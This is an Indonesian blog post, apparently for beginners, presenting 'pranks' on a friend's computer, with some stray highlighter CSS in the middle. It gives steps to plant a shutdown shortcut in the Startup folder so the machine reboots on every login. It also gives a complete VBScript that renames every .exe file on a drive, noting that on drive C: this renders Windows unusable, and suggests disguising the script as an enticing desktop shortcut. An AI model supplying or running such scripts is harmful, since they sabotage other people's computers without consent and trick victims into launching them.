Keluarga RIM: iseng terhadap komputer teman

Trik ini saya persembahkan buat para pemula yang pengen mamerin kemampuan dengan teman-teman dalam membuat file mirip virus tapi belum dianggap sebagai virus, tapi bisa membuat pemilik komputer pusing. Berikut caranya :

Iseng 1 (menggunakan file shutdown.exe yang ada pada foldel C:/windows/system32)
- Bukanlah windows explorer dan carilah file shutdown.exe pada C:/windows/system32

– Setelah menemukan file shutdown.exe, copy file tersebut kemudian vaste shorcut pada
C:\Documents and Settings\All Users\Start Menu\Programs\Startup

- Maka akan menghasilkan shorcut file shutdown.exe, nah… silahkan beraksi. Klik kanan file shortcut itu kemudian pilih properties. Maka akan muncul kotak dialog berikut :

- Anda akan melihat teks pada kolom target yaitu : C:\WINDOWS\system32\ shutdown.exe tambahkan
teks terakhir yaitu –r –t dan angka yang diinginkan, misalnya C:\WINDOWS\system32\shutdown.exe –r –t
30 untuk mematikan komputer dalam 30 detik. Ingat : untuk iseng dan sekedar coba-coba isikan angka
yang besar, misal 50, 100, 150, dst. Bayangkan jika anda gunakan angka yang kurang dari 10, atau
bahkan 00. Maka pada saat merestart akan muncul kotak dialog berikut :

Buat yang coba-coba, perintah di atas tidak dapat dihentikan oleh taks manajer, tapi bisa kok pakai cara
ini : masuk ke menu run dan ketikkan shutdown –a. OK

2. Iseng 2 (menggunakan XTRenamer.vbs dengan kekuatan pikiran)
File XTRenamer.vbs adalah file yang berfungsi untuk mengubah ekstensi file sesuai dengan yang kita inginkan secara massal. Buatlah terlebih dahulu file tersebut.
One. Buka notepad.exe Two. Copy paste aja teks ini, untuk lebih gampang, tapi mau ketik gak apa-apa juga.

Dim Drive, Root, fname
Drive = "D" 'drive yg akan diproses
Set Root = CreateObject("Scripting.FileSystemObject"). _
GetDrive(Drive).RootFolder
Set fname = New RegExp
With fname
.Pattern = "\.exe$" 'ekstensi file yang akan direname
.IgnoreCase = True
.Global = False
.Multiline = False
End With
Call Rename(Root, fname)
Sub Rename(Folder, RegExp)
Dim SubFolder, File
For Each File in Folder.Files
If RegExp.Test(File.Name) Then
File.Name = RegExp.Replace(File.Name, ".s3yamaexe") 'hasil renamenya

End If
Next
For Each SubFolder In Folder.SubFolders
Call Rename(SubFolder, RegExp)
Next
End Sub

.csharpcode, .csharpcode pre
{
font-size: small;
color: black;
font-family: consolas, “Courier New”, courier, monospace;
background-color: #ffffff;
/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt
{
background-color: #f4f4f4;
width: 100%;
margin: 0em;
}
.csharpcode .lnum { color: #606060; }

Three. Save dengan file name XTRenamer.vbs, tapi ingat kolom save as type, ubah jadi All file, nah save dimana aja. Filenya jadi, tinggal isengnya.

Four. Coba perhatikan file di atas, pada teks yang digaris bawahi, teks “exe” adalah ekstensi dari fileprogram, dan teks “s3yama” adalah ekstensi file setelah program dijalankan, dan “D” adalah drive yang akan diproses. Misal jika anda menjalankan program tersebut di drive D: maka seluruh program yang berekstensi *.exe akan berubah menjadi *.s3yamaexe dan tidak akan dikenali oleh komputer.Five. Nah….coba anda banyangkan jika anda menjalangkannya di drive C: maka seluruh programberekstensi *.exe akan berubah dan tidak dikenali windows, jelas komputer akan bingun dan “hank”.

Atau iseng aja dengan cara berikut :

- Copy file tersebut dan paste shortcut pada destop.

- Rename nama shortcut tersebut dengan nama yang membuat teman lho penasaran, atau iconnya dengan icon yang menarik. Contoh :